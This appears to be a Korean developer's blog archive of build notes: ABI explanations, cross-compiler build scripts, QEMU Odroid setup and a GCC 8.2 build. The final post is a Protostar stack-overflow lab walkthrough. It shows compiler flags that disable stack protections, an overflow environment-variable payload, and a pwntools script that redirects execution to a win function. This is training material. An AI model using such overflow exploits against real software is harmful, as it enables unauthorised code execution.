카테고리

asm (27) bootloader_x86_grub (1) C (92) compile (11) config (76) CPP (13) CSS (1) debugging (7) gimp (1) Go (1) html (1) Java (1) JavaScript (1) kernel (19) LibreOffice (3) Linux system progamming (21) MFC (1) opencv (4) OpenGL (1) PHP (1) Python (4) qemu (29) shell (3) socket (7) troubleshooting (2) ubuntu18.04 (2) windows (1)
레이블이 compile인 게시물을 표시합니다. 모든 게시물 표시
레이블이 compile인 게시물을 표시합니다. 모든 게시물 표시

2019/01/20

ABI 어플리케이션 바이너리 인터페이스

어플리케이선 바이너리 인터페이스(ABI Application Binary Interface) 
어셈블리와 OS 레벨에서의 작동 방식을 아는 경우 특정 ABI를 준수. 
ABI는 매개 변수가 전달되는 방식, 반환 값이 배치되는 방식 등을 관리함. 많은 플랫폼에서 선택할 수있는 ABI는 단 하나뿐. 
응용 프로그램과 운영체제, 응용 프로그램과 라이브러리 사이에 필요한 저 수준 인터페이스를 정의한다 응용 프로그램운영체제 라이브러리.

API보다 ABI가 저수준(binary) 라이브러리. 
API는 소스 코드에서 사용되고 ABI는 바이너리에서 호환된다.
아키텍처(x86, amd64, arm) 운영체제마다 조금씩 차이가 있음.
윈도우즈 계열 운영 체제(xp, windows7) 실행 파일 ABI를 지원 하기 때문.
함수 호출 규약 정의 함. 

외부 라이브러리를 사용할 때 중요 
- 만약 A라는 라이브러리를 사용하고 있을 때 업데이트된 A 라이브러리가 배포
- 외부 라이브러리가 업데이트 됐다고 전체 프로젝트를 다시 컴파일 하는 것을 방지 
- 만약 업데이트된 라이브러리도 같은 ABI를 지원할 경우 프로그램은 동작 함 
- 서로 다른 버전의 두 라이브러리가 같은 ABI를 가지고 있을 때 “binary- compatible 동일한 인터페이스를 가진다.

ABI가 바뀌면 재 컴파일 필요
ABI는 변경 되었지만 API는 그대로인 경우(“source compatible”)
동작 보장을 못함, ABI 변경시 재 컴파일 하는게 정석

ABI를 변경하지 않으려면? 
- ABI 변경 되지 않도록 유지 해야함. 
- 함수 인터페이스 변경 금지 
- 리턴 타입, 매개변수 숫자나 타입 등등 
- 자료형 정의, 구조체 정의, 상수 정의 등변경 금지 
- 새로운 함수, 자료형 추가 가능.

ABI 제공 방법
- ABI 강제적 제공 할 필요 없음.
- 개발자가 어셈블리로 코딩한다면 ABI 제공할 필요가 있음 
- ABI는 특정 언어에 의존적이지 않음. 
- C, PASCAL, CPP 컴파일 되면 같은 ABI 사용 할 수 있음.

ABI는 calling convention(호출 규격). 
- ABI 호환성을 유지 한 다면 라이브러리 유지/보수가 편함 
- ABI 호환성을 유지 방법, 추가 외에 기존의 라이브러리 값 변경 금지 
- ABI 호환성이 깨졌을 경우는 재 컴파일 필요.





툴체인 형식 arm-elf , arm-none-eabi

운영체제 동작.
arm-elf toolchain은 elf 형식 실행을 지원하는 일부 OS 용 obj 코드를 생성합니다 (예 : Linux ABI). OS가 프로그램 실행을 제어합니다.

펌웨어에서 동작. 
arm-none-eabi toolchain은 마이크로 컨트롤러 또는 마이크로 프로세서 (베어 메탈의 경우 EABI 임베디드 ABI)에 대한 obj 코드를 생성합니다. 이 코드는 MC의 클린 플래시에 다운로드되고 MC의 코어는 전원이 켜진 후 실행됩니다. OS 없음, 확장 명령 세트, 공유 모듈 연결 가능성 없음.

2019/01/11

Makefile 디버깅 심볼 테이블 생성 빌드 

Makefile 디버깅 심볼 테이블 생성 빌드

vi Makefile
obj-m += mmaptest.o
MY_CFLAGS += -g -DDEBUG
ccflags-y += ${MY_CFLAGS}
CC += ${MY_CFLAGS}

all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

debug:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
        EXTRA_CFLAGS="$(MY_CFLAGS)"
clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

디버깅 테이블 확인 명령어
readelf -S mmaptest.ko | grep debug

2019/01/03

리눅스 vmware image 다운로드 사이트

개발 환경 구축시 집적 설치 하는 것도 좋지만, 빠르게 진행시... 걍 다운로드 받아 개발 환경 구축 하는게 정신 건강에 좋다.

http://www.trendsigma.net/vmware/

odroid qemu ubuntu 18.04 sdcard 동작

참고: https://nautiluslee.blogspot.com/2019/01/ubuntu-1804-odroid-qemu.html

우분투 실행
SD Card 루트 파일 시스템 백업
SD 카드를 호스트에 마운트.

cd /media/rootfs

tar -cvzf ../my-backup-rootfs.tgz
sync

cd ../
umount rootfs

sdcard 루트 파일 시스템 추출
sudo apt-get install parted
루트 파일 시스템 이미지 파일 정보 확인.(개발 또는 사용할 이미지 이름 사용)

parted -s 개발용_odroid_보드-uSDeMMC.img unit B print

1      1572864B   35127295B    33554432B    primary  fat16
2      35127296B  5874122751B  5838995456B  primary  ext4

fat16 : dos 파일 시스템
ext4 : 리눅스 파일 시스템

파티션 시작 정보 확인.
두 번째 ext4 offwet 주소 35127296 시작 확인

mkdir mnt
sudo mount -o loop,ro,offset=35127296 개발용_odroid_보드-uSDeMMC.img mnt

파일 압축
cd mnt
sudo tar -cvzf ../rootfs.tgz .
cd ..
sudo umount mnt

mv rootfs.tgz rootfs-ubuntu.ext4

부팅 시작 스크립트
#! /bin/sh
# filename launch-ubuntu
ROOTFS=rootfs-ubuntu.ext4
NETWORK="-net nic,vlan=0 -net tap,vlan=0,ifname=tap0,script=no"
#NETWORK="-net nic -net user"
KERNEL="-kernel zImage "

qemu-system-arm -append "root=/dev/mmcblk0 rw physmap.enabled=0 console=ttyAMA0" -M vexpress-a9 $KERNEL -sd $ROOTFS  $NETWORK -serial stdio

실행
./launch-ubuntu

# UNCONFIGURED FSTAB FOR BASE SYSTEM

UUID=e139ce78-9841-40fe-8823-96a304a09859 / ext4  errors=remount-ro,noatime 0 1
/dev/mmcblk0p1 /media/boot vfat defaults 0 1

To:
# UNCONFIGURED FSTAB FOR BASE SYSTEM

/dev/mmcblk0 / ext4  errors=remount-ro,noatime 0 1

qemu-system-arm 명령어를 사용해 그래픽 모드 활성화

크로스 컴파일 테스트

 테스트
$ aarch64-linux-g++ -v
Using built-in specs.
COLLECT_GCC=aarch64-linux-g++
COLLECT_LTO_WRAPPER=/opt/cross/libexec/gcc/aarch64-linux/4.9.2/lto-wrapper
Target: aarch64-linux
Configured with: ../gcc-4.9.2/configure --prefix=/opt/cross --target=aarch64-linux --enable-languages=c,c++ --disable-multilib
Thread model: posix
gcc version 4.9.2 (GCC)

$ aarch64-linux-g++ -std=c++14 test.cpp
$ aarch64-linux-objdump -d a.out
...
0000000000400830 <main>:
  400830:       a9be7bfd        stp     x29, x30, [sp,#-32]!
  400834:       910003fd        mov     x29, sp
  400838:       910063a2        add     x2, x29, #0x18
  40083c:       9000

크로스 컴파일러 제작 스크립트.

변경 이력
TARGET=aarch64-elf
USE_NEWLIB=1
CONFIGURATION_OPTIONS="--disable-multilib --disable-threads"

자동 스크립트
#! /bin/bash
set -e
trap 'previous_command=$this_command; this_command=$BASH_COMMAND' DEBUG
trap 'echo FAILED COMMAND: $previous_command' EXIT

#-------------------------------------------------------------------------------------------
# 이 스크립트는 GCC 크로스 컴파일러의 패키지 다운로드, 구성, 빌드.
#-------------------------------------------------------------------------------------------

INSTALL_PATH=/opt/cross
TARGET=aarch64-linux
USE_NEWLIB=0
LINUX_ARCH=arm64
CONFIGURATION_OPTIONS="--disable-multilib" # --disable-threads --disable-shared
PARALLEL_MAKE=-j4
BINUTILS_VERSION=binutils-2.24
GCC_VERSION=gcc-4.9.2
LINUX_KERNEL_VERSION=linux-3.17.2
GLIBC_VERSION=glibc-2.20
MPFR_VERSION=mpfr-3.1.2
GMP_VERSION=gmp-6.0.0a
MPC_VERSION=mpc-1.0.2
ISL_VERSION=isl-0.12.2
CLOOG_VERSION=cloog-0.18.1
export PATH=$INSTALL_PATH/bin:$PATH

# 패키지 다운로드
export http_proxy=$HTTP_PROXY https_proxy=$HTTP_PROXY ftp_proxy=$HTTP_PROXY
wget -nc https://ftp.gnu.org/gnu/binutils/$BINUTILS_VERSION.tar.gz
wget -nc https://ftp.gnu.org/gnu/gcc/$GCC_VERSION/$GCC_VERSION.tar.gz
if [ $USE_NEWLIB -ne 0 ]; then
    wget -nc -O newlib-master.zip https://github.com/bminor/newlib/archive/master.zip || true
    unzip -qo newlib-master.zip
else
    wget -nc https://www.kernel.org/pub/linux/kernel/v3.x/$LINUX_KERNEL_VERSION.tar.xz
    wget -nc https://ftp.gnu.org/gnu/glibc/$GLIBC_VERSION.tar.xz
fi
wget -nc https://ftp.gnu.org/gnu/mpfr/$MPFR_VERSION.tar.xz
wget -nc https://ftp.gnu.org/gnu/gmp/$GMP_VERSION.tar.xz
wget -nc https://ftp.gnu.org/gnu/mpc/$MPC_VERSION.tar.gz
wget -nc ftp://gcc.gnu.org/pub/gcc/infrastructure/$ISL_VERSION.tar.bz2
wget -nc ftp://gcc.gnu.org/pub/gcc/infrastructure/$CLOOG_VERSION.tar.gz

# 압축해제
for f in *.tar*; do tar xfk $f; done

# 심볼링크
cd $GCC_VERSION
ln -sf `ls -1d ../mpfr-*/` mpfr
ln -sf `ls -1d ../gmp-*/` gmp
ln -sf `ls -1d ../mpc-*/` mpc
ln -sf `ls -1d ../isl-*/` isl
ln -sf `ls -1d ../cloog-*/` cloog
cd ..

# Step 1. 구성 환경 설정 적용
mkdir -p build-binutils
cd build-binutils
../$BINUTILS_VERSION/configure --prefix=$INSTALL_PATH --target=$TARGET $CONFIGURATION_OPTIONS
make $PARALLEL_MAKE
make install
cd ..

# Step 2. 커널 헤더
if [ $USE_NEWLIB -eq 0 ]; then
    cd $LINUX_KERNEL_VERSION
    make ARCH=$LINUX_ARCH INSTALL_HDR_PATH=$INSTALL_PATH/$TARGET headers_install
    cd ..
fi

# Step 3. C/C++ 컴파일러
mkdir -p build-gcc
cd build-gcc
if [ $USE_NEWLIB -ne 0 ]; then
    NEWLIB_OPTION=--with-newlib
fi
../$GCC_VERSION/configure --prefix=$INSTALL_PATH --target=$TARGET --enable-languages=c,c++ $CONFIGURATION_OPTIONS $NEWLIB_OPTION
make $PARALLEL_MAKE all-gcc
make install-gcc
cd ..

if [ $USE_NEWLIB -ne 0 ]; then
    # Steps 4-6: Newlib
    mkdir -p build-newlib
    cd build-newlib
    ../newlib-master/configure --prefix=$INSTALL_PATH --target=$TARGET $CONFIGURATION_OPTIONS
    make $PARALLEL_MAKE
    make install
    cd ..
else
    # Step 4. C 스텐다드 헤더 및 라이브러리
    mkdir -p build-glibc
    cd build-glibc
    ../$GLIBC_VERSION/configure --prefix=$INSTALL_PATH/$TARGET --build=$MACHTYPE --host=$TARGET --target=$TARGET --with-headers=$INSTALL_PATH/$TARGET/include $CONFIGURATION_OPTIONS libc_cv_forced_unwind=yes
    make install-bootstrap-headers=yes install-headers
    make $PARALLEL_MAKE csu/subdir_lib
    install csu/crt1.o csu/crti.o csu/crtn.o $INSTALL_PATH/$TARGET/lib
    $TARGET-gcc -nostdlib -nostartfiles -shared -x c /dev/null -o $INSTALL_PATH/$TARGET/lib/libc.so
    touch $INSTALL_PATH/$TARGET/include/gnu/stubs.h
    cd ..

    # Step 5. 컴파일러 지원 라이브러리
    cd build-gcc
    make $PARALLEL_MAKE all-target-libgcc
    make install-target-libgcc
    cd ..

    # Step 6. Glibc
    cd build-glibc
    make $PARALLEL_MAKE
    make install
    cd ..
fi

# Step 7. C++ 라이브러리 GCC
cd build-gcc
make $PARALLEL_MAKE all
make install
cd ..

trap - EXIT
echo 'Success!'

크로스 컴파일러 제작.

GCC 크로스 컴파일러 만들기

build system : Linux
Host system : Linux
Target system : Linux

필수 패키지 설치
$ sudo apt-get install g++ make gawk

소스 코드 다운로드
http://ftp.kaist.ac.kr/gnu/binutils/
$ wget http://ftpmirror.gnu.org/binutils/binutils-2.24.tar.gz
$ wget http://ftpmirror.gnu.org/gcc/gcc-4.9.2/gcc-4.9.2.tar.gz
$ wget https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.17.2.tar.xz
$ wget http://ftpmirror.gnu.org/glibc/glibc-2.20.tar.xz
$ wget http://ftpmirror.gnu.org/mpfr/mpfr-3.1.2.tar.xz
$ wget http://ftpmirror.gnu.org/gmp/gmp-6.0.0a.tar.xz
$ wget http://ftpmirror.gnu.org/mpc/mpc-1.0.2.tar.gz
$ wget ftp://gcc.gnu.org/pub/gcc/infrastructure/isl-0.12.2.tar.bz2
$ wget ftp://gcc.gnu.org/pub/gcc/infrastructure/cloog-0.18.1.tar.gz

프로젝트 사이트 정의
Binutils: https://www.gnu.org/software/binutils/
GCC: https://gcc.gnu.org/
Linux kernel: https://www.kernel.org/
Glibc : https://www.gnu.org/software/libc/

크로스 컴파일 구성 방법
Host Programs: X64
C Cross-Compile: aarch64-linux-gcc Built from GCC
C++ Cross-Compiler: aarch64-linux-g++ built from GCC
CROSS-Assember Cross-Link: aarch64-linux-as, aarch64-linux-ld, built from Binutils

Target Programs & libraries : AArch64
a.out: sample program
Standard C++ Library: libstdc++.so built from GCC
Standard C Library : libc.so, built from Glibc
Linux Kernel

Glibc 과련 사이트
Newlib: https://sourceware.org/newlib/
Libgolss: http://ieee.uwaterloo.ca/coldfire/gcc-doc/docs/porting_1.html

빌드
압축 해제
$ for f in *.tar*; do tar xf $f; done

gcc 심볼링크 생성
gcc 의존성 때문에 심볼링크 설정 해주면 자동으로 의존성을 해결함.
https://gcc.gnu.org/install/download.html

$ cd gcc-4.9.2
$ ln -s ../mpfr-3.1.2 mpfr
$ ln -s ../gmp-6.0.0 gmp
$ ln -s ../mpc-1.0.2 mpc
$ ln -s ../isl-0.12.2 isl
$ ln -s ../cloog-0.18.1 cloog
$ cd ..

툴 체인 설치 위치 지정
$ sudo mkdir -p /opt/cross
$ sudo chown jeff /opt/cross

패스 지정.
$ export PATH=/opt/cross/bin:$PATH

1. 빌드
$ mkdir build-binutils
$ cd build-binutils
$ ../binutils-2.24/configure --prefix=/opt/cross --target=aarch64-linux --disable-multilib
$ make -j4
$ make install
$ cd ..

$ cd linux-3.17.2
$ make ARCH=arm64 INSTALL_HDR_PATH=/opt/cross/aarch64-linux headers_install
$ cd ..

$ mkdir -p build-gcc
$ cd build-gcc
$ ../gcc-4.9.2/configure --prefix=/opt/cross --target=aarch64-linux --enable-languages=c,c++ --disable-multilib
$ make -j4 all-gcc
$ make install-gcc
$ cd ..

--target=aarch64-linux 지정
--disable-multilib 64비트 명령어 세트 사용, 32 명령어 세트 사용하지 않음.

2. 리눅스 커널 헤더
/opt/cross/aarch64-linux/include 새로운 툴 체인을 사용하여 빌드, 시스템 호출 할 수 있게 환경 적용
$ cd linux-3.17.2
$ make ARCH=arm64 INSTALL_HDR_PATH=/opt/cross/aarch64-linux headers_install
$ cd ..

GCC components:
- C/C++ Compilers
-- aarch64-linux-gcc
-- aarch64-linux-g++ ----> Build Order
                           Glibc Components:
    Standard C Library Headers and Startup Files
stdio.h, stdlib.h pthread.h,...
crti.o crtn.o crtl.o/libc.so
                       <----+
Compile Support Library
- Libgcc.a/libgcc.so ------> Standard C Library:
                              libc.a/libc.so
                    <---------+
Standard C++ Library
libstdc++.a/libstdc++.so

3. C/C++ 컴파일

$ mkdir -p build-glibc
$ cd build-glibc
// 20180103 이 옵션 사용.
$ ../gcc-4.9.2/configure --prefix=/opt/cross --target=aarch64-linux --enable-languages=c,c++ --disable-multilib
$ make -j4 all-gcc
$ make install-gcc
$ cd ..

--target=aarch64-linux : 타켓 이름 지정(aarch64-linux)
--enable-languages=c,c++: Fortran, Go 또는 Java와 같은 GCC 제품군의 다른 컴파일러가 빌드되지 않도록한다.

4. 표준 C 라이브러리 및 헤더
Glibc의 표준 C 라이브러리 헤더 opt/cross/aarch64-linux/include 설치한다.
라이브러리는 설치 경로 /opt/cross/aarch64-linux/lib.

$ mkdir -p build-glibc
$ cd build-glibc
$ ../glibc-2.20/configure --prefix=/opt/cross/aarch64-linux --build=$MACHTYPE --host=aarch64-linux --target=aarch64-linux --with-headers=/opt/cross/aarch64-linux/include --disable-multilib libc_cv_forced_unwind=yes
$ make install-bootstrap-headers=yes install-headers
$ make -j4 csu/subdir_lib
$ install csu/crt1.o csu/crti.o csu/crtn.o /opt/cross/aarch64-linux/lib
$ aarch64-linux-gcc -nostdlib -nostartfiles -shared -x c /dev/null -o /opt/cross/aarch64-linux/lib/libc.so
$ touch /opt/cross/aarch64-linux/include/gnu/stubs.h
$ cd ..

--prefix=/opt/cross/aarch64-linuxGlibc의 configure 스크립트에서 헤더와 라이브러리 설치 위지 설정
--build, --host및 --target시스템 유형
$MACHTYP 미리 정의 된 환결 변수
--build=$MACHTYP : 추가 도구 컴파일

5. 컴파일러 지원 라이브러리.
http://www.ifp.illinois.edu/~nakazato/tips/xgcc.html --> 이 구성에서 추가된 방식으로 진행.

$ cd build-gcc
$ make -j4 all-target-libgcc
$ make install-target-libgcc
$ cd ..

두 정적 라이브러리 libgcc.a, libgcc_eh.a 설치
/opt/cross/lib/gcc/aarch64-linux/4.9.2/.

공유 라이브러리 /opt/cross/aarch64-linux/lib64/libgcc_s.so 설치

6. 표준 C 라이브러리
/opt/cross/aarch64-linux/lib/lib.a
/opt/cross/aarch64-linux/lib/libc.so

$ cd build-glibc
$ make -j4
$ make install
$ cd ..

7. 표준 C++ 라이브러리
/opt/cross/aarch64-linux/lib64/libstdc++.a
/opt/cross/aarch64-linux/lib64/libstdc++.so

$ cd build-gcc
$ make -j4
$ make install
$ cd ..

Ubuntu 18.04 64 비트 GCC 8.2 버전 컴파일

GCC 빌드하기
Ubuntu 18.04 64 비트 GCC 8.2 버전 컴파일

업데이트
sudo apt-get update
sudo apt-get upgrade

코드 다운로드
cd ~
wget https://ftpmirror.gnu.org/gcc/gcc-8.2.0/gcc-8.2.0.tar.gz
tar xf gcc-8.2.0.tar.gz
cd gcc-8.2.0
contrib/download_prerequisites

환경 구성
cd ~
mkdir build && cd build
../gcc-8.2.0/configure -v --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu --prefix=/usr/local/gcc-8.2 --enable-checking=release --enable-languages=c,c++,fortran --disable-multilib --program-suffix=-8.2

적용 -j 8 cpu 코어 확인
make -j 8

설치
sudo make install

실행 경로 추가
export export PATH=/usr/local/gcc-8.2/bin:$PATH
export LD_LIBRARY_PATH=/usr/local/gcc-8.2/lib64:$LD_LIBRARY_PATH

.bashrc 추가
cd ~
vi .bashrc
export export PATH=/usr/local/gcc-8.2/bin:$PATH
export LD_LIBRARY_PATH=/usr/local/gcc-8.2/lib64:$LD_LIBRARY_PATH

// C++14 일반화 된 람다(매개변수 유형 auto 사용)
// https://solarianprogrammer.com/2014/08/21/cpp-14-auto-tutorial/
#include <iostream>
int main() {
    std::cout << [](auto a, auto b) { return a + b; } (5, 6) << std::endl;
    std::cout << [](auto a, auto b) { return a + b; } (5.23, 6.45) << std::endl;
    return 0;
}

컴파일
g++-8.2 -Wall -pedantic test_lambda.cpp -o test_lambda
./test_lambda

static_assert 수정 예제 테스트
// https://solarianprogrammer.com/2014/08/21/cpp-14-auto-tutorial/
#include <type_traits>
#include <iostream>
struct A {
int foo;
};

struct B {
int foo = 0;
};

template <typename T>
void print(const T& a){
static_assert(std::is_pod<T>::value);
std::cout << a.foo << '\n';
}

int main() {
A x{1};
B y{2};
B z;

print<A>(x);
print<B>(y);
print<B>(z);

return 0;
}

컴파일
g++-8.2 -std=c++17 -Wall -pedantic test_assert.cpp -o test_assert
 test_assert.cpp: In instantiation of ‘void print(const T&) [with T = B]’:
 test_assert.cpp:24:15:   required from here
 test_assert.cpp:14:5: error: static assertion failed
     static_assert(std::is_pod<T>::value);
     ^~~~~~~~~~~~~

Fortran 프로그래머라면 gfortran-8.2와 병행 하여 다음과 같은 Fortran 2008 기능 중 일부를 사용할 수 있음.

integer,parameter::mm=100000
real::a(mm), b(mm)
real::fact=0.5

! initialize the arrays
! ...

do concurrent (i = 1 : mm)
a(i) = a(i) + b(i)
enddo

end

컴파일 테스트
gfortran-8.2 test_concurrent_do.f90 -o test_concurrent_do
./test_concurrent_do

2018/12/31

스택 오버플로우 테스트

라이브 오버플로우 프로토스타
http://liveoverflow.com/binary_hacking/protostar/

vmware player 다운로드
https://www.vmware.com/kr/products/workstation-player/workstation-player-evaluation.html

프로토 스타 제공하는 우분투 기반의 iso 파일.
- 라이브 cd 이미지
-- 가상머신 생성
-- 우분투 32bit
root/godmode

kali linux dawnload
https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/
root/toor

gcc 스택오버플러우 허용 옵션
gcc -z execstack -no-pie -w -o

execstack : 기본 옵션처리에서 스택의 접근 권한을 할 수 업게한다. 이 옵션을 사용하면 스택에 접근 권한을 부여한다.

-no-pie : 기타 자료형이 메모리에 올라갈때 무작위 메모리 맵과 맵핑이 이루어진다. 이 옵션을 주면 무작위 맵핑 처리를 하지 말라는 의미.

파이썬으로 문자열 생성
shell> python -c "printf('a'*80)"

rsi -> source index 출발지
rdi -> destination index 목적지

peda 다운로드 사이트
https://github.com/longld/peda

설치
git clone https://github.com/longld/peda.git peda
echo "source peda/peda.py" >> ~/.gdbinit
echo "DONE! debug your program with gdb and enjoy"

참고:
./surface4/4.14/linux-surface-master/kernel/Documentation/frv/gdbinit
./Qt5.7.1/5.7/Src/qtwebengine/src/3rdparty/chromium/v8/tools/gdbinit

리눅스 환경변수 설정
export GREENIE='AAAAA'

peda에서 패턴 만들기
pattern create 100

b *main+89

peda에서 패턴 오프셋 확인하기
gdb-peda$ pattern offset 0x41413341
1094792001 found at offset: 68

Exploit 코드
export GREENIE=$(python -c 'print "A"*68 + "\x0a\x0d"*4')

pwntools 사용방법
https://github.com/Gallopsled/pwntools-tutorial/blob/master/tubes.md

자동 접속 후 CLI 제어
python 2.7 버전에서 동작

설치
shell> sudo apt-get install python-dev
shell> sudo python2 -m pip install pwn

telnet 설치
shell> sudo apt-get install xinetd telentd
shell> sudo vi/etc/xintd.d/telnet
# default: off
service telnet
{
 disable = no
 flags = REUSE
 socket_type = stream
 wait = no
 user = root
 server = /usr/sbin/in.telnetd
 log_on_failure += USERID
}   

shell> /etc/init.d/xinetd restart 또는 service xinetd restart

테스트 사용자 생성
shell> useradd user1
shell> passwd user1

사용자 테스트
shell> telnet 127.0.0.1
login: user1
Password:

$> 셜 프롬프트

자동 스크립트 작성
shell> vi login.py
import pwn

/*
pwn.process() // 내부 접속
pwn.ssh() // 보안 접속
pwn.connect() // 외부 접속
*/

p = pwn.process(['telnet', '127.0.0.1']) // 인자 전달, 리스트 형식으로 전달

print p.recvuntil('login: ')
p.sendline('user1')

print p.recvuntil('Passwor: ')
p.sendline('1234') // 패스워드

print p.recvuntil('$')
p.sendline('echo 1234')
print p.recvline()

print "recv test"
print p.recvline()
print p.recvline()
print p.recvline()
print p.recvline()
:wq

패턴 생성
gdb-peda) pattern create 80
패턴 간격 확인
gdb-peda) pattern offset 패턴문구

환경변수 생성(cpu 빅엔디안, 리틀엔디안)
export TESTAAA=$(python -c 'print "A"*68 + "\x0d0a"*4)

win 함수 주소
win_addr = 0x~~~400577

페다에서 패턴 오프셋 확인하기
gdb-peda$ pattern offset 0x4134414165414149
4698452060381725001 found at offset: 72

파이썬 코드
from pwn import *

p = process('./stack3')
win_addr = p64(0x~~~400577)
payload = 'A'*72 + win_addr

p.sendline(payload)
print p.recvrepeat(1)

gcc 스택 오버플러우 허용.

gcc 스택오버플러우 허용 옵션
gcc -z execstack -no-pie -w -o

execstack : 기본 옵션처리에서 스택의 접근 권한을 할 수 업게한다. 이 옵션을 사용하면 스택에 접근 권한을 부여한다.

-no-pie : 기타 자료형이 메모리에 올라갈때 무작위 메모리 맵과 맵핑이 이루어진다. 이 옵션을 주면 무작위 맵핑 처리를 하지 말라는 의미.